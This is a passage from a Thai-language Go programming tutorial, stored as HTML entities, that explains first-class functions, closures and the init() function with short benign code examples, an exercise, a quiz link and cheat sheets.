&#xE2D;&#xE37;&#xE48;&#xE19;&#xE44;&#xE14;&#xE49;</p><pre><code>func doTwice(f func(string), message string) {
    f(message)
    f(message)
}

func main() {
    printMessage := func(msg string) {
        fmt.Println(msg)
    }

    doTwice(printMessage, &quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&#xE0A;&#xE32;&#xE27;&#xE42;&#xE25;&#xE01;&quot;)
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Function &#xE40;&#xE1B;&#xE47;&#xE19;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C; (&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; printMessage) &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; Function &#xE2D;&#xE37;&#xE48;&#xE19;&#xE44;&#xE14;&#xE49; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function doTwice &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE2A;&#xE39;&#xE07; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE1E;&#xE24;&#xE15;&#xE34;&#xE01;&#xE23;&#xE23;&#xE21;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Code &#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Function &#xE2B;&#xE25;&#xE31;&#xE01;</p><p>4. &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE44;&#xE14;&#xE49;</p><pre><code>func createMultiplier(factor int) func(int) int {
    return func(n int) int {
        return n * factor
    }
}

func main() {
    doubler := createMultiplier(2)
    tripler := createMultiplier(3)

    fmt.Println(doubler(5))  // 10
    fmt.Println(tripler(5))  // 15
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; doubler &#xE41;&#xE25;&#xE30; tripler &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE07;&#xE44;&#xE14;&#xE49;&#xE15;&#xE32;&#xE21;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;</p><p>5. &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Closure Function &#xE44;&#xE14;&#xE49;</p><p>Closure &#xE2B;&#xE23;&#xE37;&#xE2D; Function &#xE1B;&#xE34;&#xE14; &#xE04;&#xE37;&#xE2D;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE27;&#xE34;&#xE40;&#xE28;&#xE29;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE04;&#xE48;&#xE32;&#xE1A;&#xE32;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49; &#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE44;&#xE1B;&#xE41;&#xE25;&#xE49;&#xE27;</p><pre><code>func createCounter() func() int {
    count := 0
    return func() int {
        count++
        return count
    }
}

func main() {
    counter := createCounter()
    fmt.Println(counter())  // 1
    fmt.Println(counter())  // 2
    fmt.Println(counter())  // 3
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Closure Function &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; counter &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE33;&#xE04;&#xE48;&#xE32; count &#xE44;&#xE14;&#xE49; &#xE41;&#xE21;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE21;&#xE31;&#xE19;&#xE44;&#xE1B;&#xE41;&#xE25;&#xE49;&#xE27;</p><p>Closure &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30; (Stateful Function) &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Encapsulate &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE01;&#xE25;&#xE32;&#xE07; (Global Variable) &#xE44;&#xE14;&#xE49; &#xE41;&#xE15;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE2D;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE07;&#xE42;&#xE14;&#xE22; Closure &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE17;&#xE33;&#xE25;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01; Function &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE19;&#xE32;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE1B;&#xE01;&#xE15;&#xE34; &#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE2B;&#xE32;&#xE01;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Closure &#xE2B;&#xE25;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE07; Function &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19; Closure &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;&#xE08;&#xE30;&#xE21;&#xE35;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;</p><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; <strong>doubler</strong> &#xE41;&#xE25;&#xE30; <strong>tripler</strong> &#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32; &#xE01;&#xE47;&#xE40;&#xE1B;&#xE47;&#xE19; Closure Function &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE48;&#xE32; factor &#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;</p><p>&#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32; Closure &#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE44;&#xE27;&#xE49; &#xE41;&#xE15;&#xE48; Go &#xE21;&#xE35; Garbage Collector &#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE07;&#xE27;&#xE25;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; Memory Leak &#xE21;&#xE32;&#xE01;&#xE19;&#xE31;&#xE01;</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE16;&#xE36;&#xE07;&#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32; Closure &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE15;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE43;&#xE19;&#xE41;&#xE07;&#xE48;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE17;&#xE35;&#xE48;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE01;&#xE47;&#xE21;&#xE35;&#xE21;&#xE32;&#xE01; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Closure &#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19; &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE14;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14;</p><figure class="kg-card kg-code-card"><pre><code>Cheat Sheet &#xE15;&#xE32;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; First-Class Citizen Function in Go

Anonymous Function (&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE37;&#xE48;&#xE2D;)
   func() {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
   }() // &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;

&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
   myFunc := func(param Type) {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
   }

&#xE2A;&#xE48;&#xE07;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(f func(Type1), param Type2) {
       f(param) // Type1 &#xE41;&#xE25;&#xE30; Type2 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;
   }

&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(param1 Type1) func(Type2) returnType { 
          return func(param2 Type2) returnType {
              // &#xE42;&#xE04;&#xE49;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
              return returnType
          }
   }

Closure
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() func() returnType {
          // outer variables
          return func() returnType {
          	// code using outer variables
          	return returnType
          }
   }</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="init-function"><em>Init Function</em></h3><p>init() &#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; Function main() &#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE21;&#xE31;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38;&#xE14;&#xE34;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE38;&#xE1B;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07;&#xE46; &#xE43;&#xE2B;&#xE49;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE25;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE42;&#xE14;&#xE22; Function init() &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D; Return &#xE04;&#xE48;&#xE32;&#xE44;&#xE14;&#xE49;</p><pre><code>package main

import &quot;fmt&quot;

func init() {
    fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;...&quot;)
}

func main() {
    fmt.Println(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;...&quot;)
}

// &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
// &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;...
// &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;...</code></pre><p>&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE40;&#xE14;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; init() &#xE21;&#xE35;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li>Go &#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function init() &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</li><li>&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE35; Function init() &#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22; Function</li></ol><pre><code>package main

import &quot;fmt&quot;

func init() {
    fmt.Println(&quot;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; 1...&quot;)
}

func init() {
    fmt.Println(&quot;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; 2...&quot;)
}

func main() {
    fmt.Println(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;...&quot;)
}

// &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
// &#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; 1...
// &#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; 2...
// &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;...</code></pre><p>&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Function init()<br>1) Function init() &#xE02;&#xE2D;&#xE07; Package &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01; Import &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;<br>2) &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; Global &#xE43;&#xE19; Package &#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32;<br>3) Function init() &#xE02;&#xE2D;&#xE07; Package &#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;</p><pre><code>// helper/helper.go
package helper

import &quot;fmt&quot;

func init() {
	fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Package helper...&quot;)
}

func SayHello() {
	fmt.Println(&quot;Hello from SayHello function...&quot;)
}

// main.go
package main

import (
	&quot;fmt&quot;
	&quot;myproject/helper&quot;
)

var globalVar = initGlobal()

func initGlobal() string {
	fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; Global...&quot;)
	return &quot;initialized&quot;
}

func init() {
	fmt.Println(&quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Package main...&quot;)
}

func main() {
	fmt.Println(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;...&quot;)
	helper.SayHello() //&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function &#xE42;&#xE14;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D; Package &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE43;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE2D;&#xE07; File helper.go
}

// &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
// &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Package helper...
// &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; Global...
// &#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Package main...
// &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;...
// Hello from SayHello function...</code></pre><h3 id="exercise-2"><em><em>Exercise</em></em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22; &#xE46; &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE32;&#xE22;&#xE38; &#xE41;&#xE25;&#xE49;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE31;&#xE01;&#xE17;&#xE32;&#xE22;</p><p><em><a href="https://forms.gle/Qxo2XNRV3yZmv2ea8?ref=blog.pjjop.org"><em>Go Quiz </em>3</a><em> (1</em>7<em> &#xE02;&#xE49;&#xE2D;) </em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em>Q&amp;A?</em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-function"><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet </em>Function</em></h3><pre><code>Function
--------

1. &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() {
       // Code &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;
   }
   
2. Function &#xE01;&#xE31;&#xE1A; Parameter
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(param1 type1, param2 type2) {
       // &#xE43;&#xE0A;&#xE49; param1 &#xE41;&#xE25;&#xE30; param2 &#xE43;&#xE19; Function
   }

